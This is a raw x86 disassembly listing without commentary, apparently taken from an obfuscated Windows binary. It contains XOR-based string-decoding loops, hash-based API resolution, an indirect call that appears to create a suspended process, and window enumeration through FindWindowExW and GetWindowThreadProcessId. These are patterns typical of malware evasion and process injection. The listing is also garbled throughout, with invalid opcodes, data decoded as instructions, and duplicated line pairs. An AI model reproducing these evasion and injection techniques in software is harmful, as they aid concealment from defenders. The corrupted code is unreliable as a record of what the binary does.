mov ebx, dword [0x450714]
cmp dword [ebx + edi*8], 0xa434495f
je 0x41e25b
inc edi
cmp ecx, edi
jne 0x41e24b
jmp 0x41e281
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je 0x41e281
push dword [esi + 0xb0]
push eax
push 2
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x14
mov eax, dword [esi + 0x60]
mov eax, dword [eax + 4]
mov dword [esi + 8], 0xd8dbdac5
lea ecx, [esi + 0xc]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x4f
xor dl, byte [esi + ecx + 8]
add dl, 0x75
mov byte [esi + ecx + 8], dl
inc ecx
cmp ecx, 7
jne 0x41e2a0
mov ecx, dword [0x450710]
test ecx, ecx
je 0x41e2f5
mov edx, dword [esi + 8]
xor ebx, ebx
mov edi, dword [0x450714]
cmp dword [edi + ebx*8], 0xb62b8d10
je 0x41e2db
inc ebx
cmp ecx, ebx
jne 0x41e2cb
jmp 0x41e2f5
mov ecx, dword [edi + ebx*8 + 4]
cmp ecx, edx
je 0x41e2f5
push eax
push 1
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x10
mov eax, dword [esi + 0x60]
mov eax, dword [eax]
mov dword [esi + 8], 0xd8dbdac5
lea ecx, [esi + 0xc]
mov byte [ecx + 2], 0
mov word [ecx], 0
xor ecx, ecx
nop
mov edx, ecx
add dl, 0x4f
xor dl, byte [esi + ecx + 8]
add dl, 0x75
mov byte [esi + ecx + 8], dl
inc ecx
cmp ecx, 7
jne 0x41e310
mov ecx, dword [0x450710]
test ecx, ecx
je 0x41e365
mov edx, dword [esi + 8]
xor ebx, ebx
mov edi, dword [0x450714]
cmp dword [edi + ebx*8], 0xb62b8d10
je 0x41e34b
inc ebx
cmp ecx, ebx
jne 0x41e33b
jmp 0x41e365
mov ecx, dword [edi + ebx*8 + 4]
cmp ecx, edx
je 0x41e365
push eax
push 1
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x10
mov eax, dword [esi + 0x90]
mov dword [eax + 4], 0xffffffff
mov dword [eax], 0xee1e5d00
mov dword [esi + 0x10], 0
mov ebx, dword [esi + 0x78]
jmp case.0x41dd8c.0
mov dword [edi + 0x40], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi], 0x44
push 0x38c42730
push dword [0x450704]
call fcn.00443ee0
add esp, 8
push ebx
push edi
push 0
push 0
push 4
push 0
push 0
push 0
push dword [esi + 0x14]
push dword [esi + 0x18]
call eax
mov dword [edi + 0x40], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
add byte [eax], al
add byte [eax], al
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi], 0x44
push 0x38c42730
push dword [0x450704]
inc ebp
add al, ch
xor al, 0x5a
add al, byte [eax]
inc ebp
add al, ch
xor al, 0x5a
add al, byte [eax]
add esp, 8
push ebx
push edi
push 0
push 0
push 4
push 0
push 0
push 0
push dword [esi + 0x14]
push dword [esi + 0x18]
call eax
jmp dword [0x44b480]
push 0x9cc05b1b
sbb ebx, dword [ebx - 0x40]
pushfd
push dword [0x450724]
call fcn.00443ee0
add esp, 8
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x50]
mov ecx, dword [eax]
mov dword [esi + 0x34], ecx
mov eax, dword [eax + 4]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x7c]
add eax, 0x26
mov dword [esi + 0x38], eax
mov dword [esi + 4], 0
jmp case.0x41dd8c.19
jmp dword [ebx*4 + 0x44b500]
mov eax, dword [esi + 0x7c]
mov dword [eax], 0x31463f79
mov dword [eax + 4], 0x35433342
mov dword [eax + 8], 0x4951374b
mov dword [eax + 0xc], 0x4d234b29
mov dword [eax + 0x10], 0x412a4f37
mov dword [eax + 0x14], 0x45254339
mov dword [eax + 0x18], 0x592f4730
mov dword [eax + 0x1c], 0x5d245b23
mov dword [eax + 0x20], 0x516d5f3d
mov word [eax + 0x24], 0x5350
mov ecx, dword [esi + 0x38]
mov byte [ecx + 2], 0
mov word [ecx], 0
mov ecx, 0x49c3e84a
nop
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
movzx eax, byte [eax]
mov ebx, ecx
or ebx, eax
lea edx, [ecx - 0x49c3e800]
and edx, eax
not ebx
or ebx, edx
mov eax, 0x8f2c7689
sub eax, ebx
or eax, 1
lea edi, [ebx + eax]
add edi, 0x70d38977
mov eax, edi
and eax, 0xfd
mov edx, edi
and edx, 2
loop 0x41e5aa
loop 0x41e5aa
or edi, 2
imul edi, edx
add cl, byte [edi]
scasd eax, dword es:[edi]
cli
xor edx, 2
imul edx, eax
mov eax, 0x89
sub eax, ebx
and ebx, 1
and eax, 0xfe
or eax, ebx
not eax
add eax, edi
add eax, edx
mov edx, dword [esi + 0x14]
mov byte [edx], al
mov eax, dword [esi + 0x14]
inc eax
dec ecx
cmp ecx, 0x49c3e821
jne 0x41e570
push 0
push dword [esi + 0x7c]
push dword [esi + 4]
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
xor ebx, ebx
mov dword [esi + 4], eax
test eax, eax
setne bl
mov eax, dword [esi + 0x24]
jmp dword [ebx*4 + 0x44b4c8]
mov dword [esi + 0x24], eax
mov edi, ebx
xor ecx, ecx
xor eax, eax
mov edx, dword [esi + 0x34]
cmp edx, dword [esi + 0x10]
setne al
jmp dword [eax*4 + 0x44b4d0]
xor al, 0x3b
push esi
adc byte [edi], cl
xchg ebp, eax
sar bh, 0x24
test eax, edx
mov ah, 0x44
add byte [eax - 0x6f6f6f70], dl
nop
mov cl, 1
xor eax, eax
jmp dword [eax*4 + 0x44b4e0]
mov ah, 0x44
invalid
mov ah, 0x44
add byte [ebx - 0x3fcefb3e], al
add edx, 4
xor eax, eax
add edx, 4
xor eax, eax
cmp edx, dword [esi + 0x10]
setne al
jmp dword [eax*4 + 0x44b4d0]
xor ebx, ebx
mov eax, dword [esi + 4]
cmp dword [edx], eax
sete bl
jmp dword [ebx*4 + 0x44b4d8]
mov eax, 1
jmp dword [eax*4 + 0x44b4e0]
add bh, bh
and al, 0x85
loopne 0x41e60c
inc esp
add byte [eax - 0x49f0fe1f], al
and cl, 1
movzx eax, cl
mov ebx, edi
mov edi, dword [esi + 0x24]
jmp dword [eax*4 + 0x44b4e8]
mov eax, dword [esi + 0x40]
and cl, 1
movzx eax, cl
mov ebx, edi
mov edi, dword [esi + 0x24]
jmp dword [eax*4 + 0x44b4e8]
mov eax, dword [esi + 0x40]
jmp dword [eax*4 + 0x44b4f0]
push 0
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
xor eax, eax
cmp ecx, edi
sete al
jmp dword [eax*4 + 0x44b4f8]
push 0
mov eax, dword [esi + 4]
push eax
call dword [esi + 0x1c]
jmp dword [ebx*4 + 0x44b500]
mov eax, dword [esi + 0x88]
mov ecx, dword [esi + 0x70]
mov dword [ecx], eax
xor edi, edi
jmp 0x41e6c5
lea eax, [edi + 1]
xor ecx, ecx
cmp edi, 0xa
setb cl
jmp dword [ecx*4 + 0x44b510]
invalid
mov ch, 0x44
invalid
adc byte [ebp - 0x3876ffbc], dh
mov edi, eax
push dword [ebp + 0xc]
push dword [esi + 0x18]
push dword [esi + 0x70]
push dword [ebp + 8]
call fcn.00420040
add esp, 0x10
mov dword [esi + 4], eax
movzx eax, al
jmp dword [eax*4 + 0x44b508]
mov eax, dword [esi + 0x94]
mov dword [eax + 4], 0xffffffff
mov dword [eax], 0xff1b1e40
mov dword [esi + 8], 0xd8dbdac5
lea eax, [esi + 0xc]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x4f
xor cl, byte [esi + eax + 8]
add cl, 0x75
mov byte [esi + eax + 8], cl
inc eax
cmp eax, 7
jne 0x41e710
mov eax, dword [0x450710]
test eax, eax
je case.default.0x41e783
mov ecx, dword [esi + 8]
xor edx, edx
mov ebx, dword [0x450714]
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x3568c09b
je case.0x41025c.327
inc edx
cmp eax, edx
jne 0x41e740
jmp case.default.0x41e783
mov eax, dword [ebx + edx*8 + 4]
cmp eax, ecx
je case.default.0x41e783
push dword [esi + 0x94]
push 0
push 2
push dword [0x450718]
push eax
call fcn.00441310
add esp, 0x14
lea eax, [edi + 1]
xor ecx, ecx
cmp edi, 0xa
setb cl
jmp dword [ecx*4 + 0x44b510]
mov edi, dword [esi + 0x18]
jmp dword [0x44b518]
jmp dword [0x44b520]
add byte [eax], al
add byte [ebx + 0x188b0c45], cl
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41e7b0
cmp eax, 0xffffffd7
mov edi, dword [esi + 0x18]
jge 0x41e7ca
pop es
pop es
mov eax, 0xffffffff
jmp 0x41e7cd
add eax, 0x28
push eax
call fcn.0040cd40
add esp, 4
mov dword [esi + 0x68], eax
mov dword [edi], 0x1f58196b
invalid
push 0x196b07c7
pop eax
pop ds
sbb dword [eax + 0x1f], ebx
mov dword [edi + 4], 0x63d11daa
mov dword [edi + 8], 0x67d161db
mov dword [edi + 0xc], 0x6bdc65c1
mov dword [edi + 0x10], 0x6fcb6932
mov dword [edi + 0x14], 0x73c56dda
mov dword [edi + 0x18], 0x77c571d9
sbb cl, bl
jno 0x41e7cd
ja 0x41e7d1
inc edi
sbb al, 0xc6
jne 0x41e817
jnp 0x41e7d8
inc edi
and ah, cl
jns 0x41e7dc
invalid
sbb cl, bl
jno 0x41e7cd
ja 0x41e7d1
inc edi
sbb al, 0xc6
jne 0x41e817
jnp 0x41e7d8
inc edi
and ah, cl
jns 0x41e7dc
jg 0x41e7df
mov dword [edi + 0x24], 0x43427dc8
inc edi
and al, 0xc8
jge 0x41e85f
inc ebx
mov word [edi + 0x28], 0
mov byte [edi + 0x2a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, eax
and ecx, 0x38
mov edx, eax
and edx, 2
rol dword [ebx - 0x3d76c71f], 0x83
loop 0x41e83c
mov edi, edx
xor edi, 2
imul edi, ecx
or ecx, 2
imul ecx, edx
mov edx, eax
xor edx, 0xba
add edx, edi
mov edi, dword [esi + 0x18]
add edx, ecx
xor dl, byte [edi + eax]
add dl, 0x5e
mov byte [edi + eax], dl
pop es
inc eax
cmp eax, 0x2b
jne 0x41e830
movzx ecx, word [ebx]
mov edx, dword [esi + 0x68]
mov eax, edx
or ecx, dword [ebx - 0x2f7697aa]
test cx, cx
je 0x41e891
add ebx, 2
mov eax, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
leave
leave
jne 0x41e880
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
mov edx, dword [esi + 0x28]
je 0x41e8c3
add edi, 2
mov ebx, dword [esi + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
mov dword [edx], 0x75c98566
out dx, eax
mov dword [edx], 0x75c98566
out dx, eax
jmp 0x41e8c6
mov ebx, dword [esi + 0x10]
mov word [eax], 0
mov ecx, dword [ebp + 8]
push dword [edx]
mov edi, dword [esi + 0xa8]
push edi
push dword [esi + 0x68]
call fcn.0040d840
jmp dword [0x44b330]
push dword [esi + 0x14]
call fcn.0040cd50
add esp, 4
mov ecx, dword [esi + 0x5c]
call fcn.0040d830
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
test eax, eax
je 0x41e98d
cmp eax, dword [ecx + 4]
je 0x41e981
push eax
mov edi, ecx
call fcn.0040cd50
add esp, 4
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov edi, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov edx, dword [esi + 4]
jmp dword [0x44b538]
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x44]
jmp dword [0x44b538]
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x44]
jmp dword [0x44b538]
invalid
add byte [ecx - 0x6f6f6f07], cl
mov ecx, edi
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x41e9a0
sub eax, edi
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ecx + 0xc]
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x41e9c0
sar eax, 1
sar ecx, 1
lea edx, [eax + ecx]
adc al, 8
adc al, 8
add edx, 2
test edx, edx
jns 0x41e9e0
mov eax, 0xffffffff
jmp 0x41e9e9
add eax, ecx
lea eax, [eax*2 + 4]
push eax
call fcn.0040cd40
add esp, 4
movzx ecx, word [edi]
mov dword [esi + 0x18], eax
inc esi
sbb byte [esi - 0x7b], ah
leave
inc esi
sbb byte [esi - 0x7b], ah
leave
je 0x41ea16
mov edx, edi
add edx, 2
mov eax, dword [esi + 0x18]
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41ea05
mov word [eax], 0x5c
add eax, 2
movzx ecx, word [ebx]
test cx, cx
je 0x41ea3a
add ebx, 2
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x41ea29
mov word [eax], 0
jmp dword [0x44b400]
push edi
call fcn.0040cd50
add esp, 4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [esi + 0x54]
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi], 0
mov ecx, edi
push eax
call fcn.0043e440
mov ecx, edi
call fcn.0043e690
movzx eax, al
mov ebx, dword [esi + 0x38]
jmp dword [eax*4 + 0x44b408]
mov dword [esi + 0x24], 0
jmp 0x41ea9d
mov eax, dword [edi + 0xc]
mov dword [esi + 0x24], eax
mov ecx, edi
call fcn.0043e800
xor eax, eax
cmp dword [esi + 0x24], 0
sete al
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x50]
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 4], 0
xor edi, edi
mov dword [esi + 0x14], 0
jmp 0x41eafa
jmp dword [ebx*4 + 0x44b438]
mov ebx, dword [esi + 0x38]
mov dword [ebx], 0x89328bd1
mov dword [ebx + 4], 0x85378706
inc ebx
add al, 6
xchg dword [edi], esi
test edi, eax
inc ebx
or byte [edi], dh
cmp dword [ecx], 0xffffff81
inc ebx
add al, 6
xchg dword [edi], esi
test edi, eax
inc ebx
or byte [edi], dh
cmp dword [ecx], 0xffffff81
mov dword [ebx + 0xc], 0x9d379f21
mov dword [ebx + 0x10], 0x99269b2b
mov dword [ebx + 0x14], 0x952d9721
mov dword [ebx + 0x18], 0x913b9318
mov dword [ebx + 0x1c], 0xed5cef27
mov dword [ebx + 0x20], 0xe9a5eb4d
mov word [ebx + 0x24], 0xe7e8
mov dword [ebx + 0x26], 0
mov eax, 0x23
mov ecx, 0xdc
nop
mov edx, dword [esi + 0x38]
movzx ebx, byte [edx + eax - 0x23]
mov edx, ecx
xor edx, eax
and edx, ebx
mov ebx, dword [esi + 0x38]
xor edx, eax
add dl, 0x51
mov byte [ebx + eax - 0x23], dl
inc eax
dec ecx
cmp eax, 0x4d
jne case.default.0x41eb89
push 0
push ebx
push dword [esi + 0x14]
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
xor ebx, ebx
mov dword [esi + 0x14], eax
test eax, eax
setne bl
jmp dword [ebx*4 + 0x44b410]
mov eax, dword [esi + 0x40]
jmp dword [eax*4 + 0x44b418]
push 0
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
xor ecx, ecx
cmp eax, dword [esi + 0x24]
sete cl
jmp dword [ecx*4 + 0x44b420]
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44b428]
and al, 0x8d
invalid
mov ah, 0x44
invalid
and al, 0x8d
sub byte [esp + eax*2 + 0x1476ff00], dh
push dword [esi + 0x14]
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44b430]
mov eax, edi
sub eax, dword [esi + 4]
cmp edi, dword [esi + 0x1c]
je 0x41ebf9
mov ecx, dword [esi + 0x50]
mov edi, eax
mov edx, dword [esi + 0x10]
jmp 0x41ed5c
mov dword [esi + 0x20], eax
mov ecx, eax
rol ecx, 0xf9
add cl, byte [ebp - 0x3576febf]
rol ecx, 0xf9
add cl, byte [ebp - 0x3576febf]
shr edx, 1
add edx, ecx
cmp edx, eax
ja 0x41ec10
mov edx, eax
mov dword [esi + 0x74], edx
lea eax, [edx*4]
push eax
call fcn.0040cd40
add esp, 4
mov edx, eax
mov eax, dword [esi + 4]
test eax, eax
je 0x41ed42
cmp edx, eax
mov dword [esi + 0x10], edx
jbe 0x41ec85
cmp dword [esi + 0x1c], edx
jbe 0x41ec85
cmp dword [esi + 0x20], 0
je 0x41ed34
mov dword [esi + 0x54], edi
mov eax, dword [esi + 4]
mov edx, dword [esi + 0x20]
lea ecx, [eax + edx]
dec ecx
mov eax, dword [esi + 0x10]
add eax, edx
dec eax
mov edi, edx
and edi, 7
mov dword [esi + 0x1c], edi
je 0x41eccb
neg dword [esi + 0x1c]
xor edx, edx
mov edi, eax
movzx eax, byte [ecx + edx]
mov byte [edi + edx], al
mov eax, edi
dec edx
cmp dword [esi + 0x1c], edx
jne 0x41ec68
add ecx, edx
add eax, edx
mov dword [esi + 0x58], eax
add edx, dword [esi + 0x20]
jmp 0x41ecce
mov ecx, dword [esi + 0x20]
shr ecx, 2
mov dword [esi + 4], eax
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov eax, edx
mov ecx, dword [esi + 0x20]
mov edx, ecx
and edx, 0xfffffffc
lea edi, [eax + edx]
add edx, dword [esi + 4]
shr ecx, 1
and ecx, 1
mov eax, edx
mov dword [esi + 0x1c], edi
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test byte [esi + 0x20], 1
je 0x41ed34
mov eax, dword [esi + 0x20]
and eax, 2
movzx ecx, byte [edx + eax]
inc esi
and byte [ebx - 0x49f0fd20], al
or al, 2
mov edx, dword [esi + 0x1c]
mov byte [edx + eax], cl
jmp 0x41ed34
mov dword [esi + 0x58], eax
mov dword [esi + 0x1c], edx
mov edx, dword [esi + 0x54]
mov eax, dword [esi + 4]
sub eax, edx
cmp eax, 0xfffffff8
mov edx, dword [esi + 0x58]
ja 0x41ed34
neg dword [esi + 0x1c]
xor edi, edi
movzx eax, byte [ecx + edi]
add al, 0x39
mov byte [edx + edi], al
movzx eax, byte [ecx + edi - 1]
mov byte [edx + edi - 1], al
movzx eax, byte [ecx + edi - 2]
mov byte [edx + edi - 2], al
movzx eax, byte [ecx + edi - 3]
mov byte [edx + edi - 3], al
movzx eax, byte [ecx + edi - 4]
mov byte [edx + edi - 4], al
movzx eax, byte [ecx + edi - 5]
mov byte [edx + edi - 5], al
movzx eax, byte [ecx + edi - 6]
mov byte [edx + edi - 6], al
movzx eax, byte [ecx + edi - 7]
mov byte [edx + edi - 7], al
add edi, 0xfffffff8
cmp dword [esi + 0x1c], edi
jne 0x41ece6
push dword [esi + 4]
call fcn.0040cd50
inc dword [ebx + 0x568b04c4]
invalid
inc dword [ebx + 0x568b04c4]
adc byte [ebx + 0x1189504e], cl
mov ecx, dword [esi + 0x50]
mov dword [ecx], edx
mov edi, dword [esi + 0x20]
lea eax, [edx + edi]
mov dword [ecx + 4], eax
mov eax, dword [esi + 0x74]
lea eax, [edx + eax*4]
mov dword [esi + 0x1c], eax
mov dword [ecx + 8], eax
mov eax, dword [esi + 0x14]
mov dword [edx + edi], eax
mov edi, dword [ecx + 4]
add edi, 4
add al, 0x89
jns 0x41ed6f
add al, 0x89
jns 0x41ed6f
mov dword [esi + 0x10], edx
mov dword [esi + 4], edx
jmp dword [ebx*4 + 0x44b438]
push esi
add al, 0xff
and al, 0x9d
cmp byte [esp + eax*2 - 0x63797500], dh
mov eax, dword [esi + 0x9c]
add eax, 2
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x18]
add eax, 2
mov dword [esi + 0x1c], eax
xor ebx, ebx
mov eax, dword [esi + 0x9c]
add eax, 2
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x18]
add eax, 2
mov dword [esi + 0x1c], eax
xor ebx, ebx
jmp 0x41d996
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b320]
inc esp
add byte [edi - 0x18], dl
pop eax
invalid
fcmovnu st(0), st(0)
mov word [esi + 0xc], 0
mov byte [esi + 0xe], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x4f
xor dl, byte [esi + ecx + 8]
add dl, 0x75
mov byte [esi + ecx + 8], dl
inc ecx
cmp ecx, 7
jne 0x41ee30
mov ecx, dword [0x450710]
test ecx, ecx
je 0x41ee7c
mov edx, dword [esi + 8]
xor edi, edi
mov ebx, dword [0x450714]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x41ee70
inc edi
cmp ecx, edi
jne 0x41ee60
jmp 0x41ee7c
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x41f611
jmp dword [0x44b350]
jmp 0x102372e2
dec ebx
mov dword [eax + 0xc], 0x3a312723
mov dword [eax + 0x10], 0x2e252d36
mov dword [eax + 0x14], 0x363c2e3a
mov dword [eax + 0x18], 0x27273538
mov dword [eax + 0x1c], 0x2e3b3e33
mov byte [eax + 0x20], 0x50
mov dword [eax + 0x21], 0
mov word [eax + 0x25], 0
mov eax, 0x83baf334
nop
mov ecx, dword [esi + 0x14]
movzx ecx, byte [ecx + eax + 0x7c450ccc]
xor ecx, eax
mov edx, ecx
and edx, 0xf9
mov ebx, ecx
and ebx, 2
mov edi, ebx
xor edi, 2
imul edi, edx
or edx, 2
imul edx, ebx
rol dword [ecx + 0xfbf1], cl
add byte [ecx], al
stc
rol dword [ecx + 0xfbf1], cl
add byte [ecx], al
stc
add ecx, edx
inc cl
mov edx, dword [esi + 0x14]
mov byte [edx + eax + 0x7c450ccc], cl
mov ecx, dword [esi + 0x14]
inc eax
cmp eax, 0x83baf35b
jne 0x41f410
push ecx
push dword [esi + 0x3c]
call fcn.00404ca0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44b3c0]
mov dword [esi + 4], edx
mov dword [ebx], 0x457d7370
mov dword [ebx + 4], 0xb943797d
mov dword [ebx + 8], 0x447c4741
mov dword [ebx + 0xc], 0x7c7f7e73
mov word [ebx + 0x10], 0x7448
mov byte [ebx + 0x12], 0xd2
mov dword [ebx + 0x13], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xd8
xor cl, byte [ebx + eax]
add cl, 0xc8
mov byte [ebx + eax], cl
inc eax
cmp eax, 0x17
jne case.default.0x41f509
push ebx
push dword [esi + 0x3c]
call fcn.00404cd0
rcl dword [edi - 2], cl
inc dword [ebx - 0x3c76f73c]
rcl dword [edi - 2], cl
inc dword [ebx - 0x3c76f73c]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44b540]
mov dword [edi], 0x9ffb99dc
mov dword [edi + 4], 0xa3c39df6
mov dword [edi + 8], 0xa7caa1d5
mov dword [edi + 0xc], 0xabaaa5d0
mov eax, edi
add eax, 0x10
mov dword [esi + 0x30], eax
mov word [edi + 0x10], 0
mov ecx, 0x1a
mov edx, 0xe5
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
xor edi, 0xb2
mov ebx, ecx
and ebx, 0x32
or ebx, edi
xor bl, byte [eax + ecx - 0x1a]
xor bl, 0x4d
add bl, 0x7e
mov byte [eax + ecx - 0x1a], bl
inc ecx
dec edx
cmp ecx, 0x2c
jne 0x41f550
mov edx, dword [esi + 0xac]
mov edi, edx
mov ecx, 4
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, edx
add edi, 0x10
invalid
adc byte [ecx], dh
leave
mov eax, dword [esi + 0x30]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
invalid
mov edi, dword [esi + 0xc0]
mov dword [edi], eax
mov eax, dword [ecx + 4]
mov dword [edi + 4], eax
mov dword [edi + 8], edx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call fcn.004214d0
pop ss
pop ds
add byte [eax], al
pop ss
pop ds
add byte [eax], al
add esp, 0x10
movzx eax, al
movzx ecx, byte [esi + 4]
mov edx, eax
not edx
and edx, ecx
xor eax, ecx
add eax, ecx
cmp eax, edx
setne al
mov dword [esi + 4], eax
push dword [esi + 0x28]
call fcn.00404e90
inc dword [ebx + 0x25ff04c4]
jo 0x41f599
inc esp
invalid
inc dword [ebx + 0x25ff04c4]
jo 0x41f599
inc esp
add bh, bh
push dword [esi + 0x2c]
push dword [esi + 0x2c]
call fcn.0040cd50
add esp, 4
mov eax, dword [esi + 4]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
mov eax, dword [esi + 0x2c]
add eax, 2
mov dword [esi + 0x18], eax
mov dword [esi + 0x24], ebx
jmp 0x41d646
invalid
call dword [eax + 0x6a]
add edi, edi
push eax
push 1
push dword [0x450718]
xor eax, 0x450718
push ecx
call fcn.00441310
add esp, 0x10
jmp dword [0x44b350]
mov ecx, dword [esi + 0x40]
jmp dword [0x44b3e0]
inc ecx
adc byte [eax + 0x1241c694], bl
mov word [ecx + 0x13], 0
mov byte [ecx + 0x15], 0
nop
nop
nop
nop
mov dword [ecx], 0xa5ad5350
mov dword [ecx + 4], 0xe9a3a9ad
mov dword [ecx + 8], 0xa4aca7a1
mov dword [ecx + 0xc], 0xacafaeb3
mov word [ecx + 0x10], 0x9498
mov byte [ecx + 0x12], 0xf2
mov word [ecx + 0x13], 0
mov byte [ecx + 0x15], 0
jmp dword [0x44b3e8]
mov ecx, dword [esi + 0x40]
movzx ecx, byte [ecx + eax]
add dword [ebp - 0x2d222f70], ecx
imul ecx, dword [ebp - 0x2808f6c4], 1
iretd
or edx, ecx
not ecx
and ecx, edi
mov edi, 0x942d222f
sub edi, eax
or edi, ecx
lea ecx, [edx + edi]
add ecx, 0xe4e1aaf0
add dword [ebp - 0x2d222f70], ecx
imul ecx, dword [ebp - 0x2808f6c4], 1
iretd
mov edx, ecx
and edx, 0x5b
xor ecx, 0xdb
lea ecx, [ecx + edx*2]
add cl, 0x26
mov edx, dword [esi + 0x40]
mov byte [edx + eax], cl
mov ecx, dword [esi + 0x40]
inc eax
cmp eax, 0x15
jbe case.default.0x41f727
push ecx
push dword [esi + 0x3c]
call fcn.00404cd0
add esp, 8
xor ecx, ecx
mov dword [esi + 0x34], eax
test eax, eax
setne cl
xor edx, edx
mov edi, dword [esi + 0x48]
jmp dword [ecx*4 + 0x44b3f0]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41f740
cmp eax, 0xffffff71
mov dword [esi + 0x14], ecx
jge 0x41f75c
mov eax, 0xffffffff
jmp 0x41f761
add eax, 0x8e
push eax
call fcn.0040cd40
add esp, 4
mov ecx, dword [esi + 0x1c]
mov dword [ecx], 0x1fc819c4
mov dword [ecx + 4], 0xe3291dd9
mov dword [ecx + 8], 0xe731e129
mov dword [ecx + 0xc], 0xeb3ce530
mov dword [ecx + 0x10], 0xef32e931
mov dword [ecx + 0x14], 0xf333ed21
mov dword [ecx + 0x18], 0xf73ef137
mov dword [ecx + 0x1c], 0xfb28f53d
mov dword [ecx + 0x20], 0xff22f93d
mov dword [ecx + 0x24], 0xc311fd2b
mov dword [ecx + 0x28], 0xc712c10a
mov dword [ecx + 0x2c], 0xcb0bc51f
mov dword [ecx + 0x30], 0xcf0bc91e
mov dword [ecx + 0x34], 0xd31fcd10
mov dword [ecx + 0x38], 0xd771d179
mov dword [ecx + 0x3c], 0xdb69d562
mov dword [ecx + 0x40], 0xdf6dd96f
mov dword [ecx + 0x44], 0xa316dd76
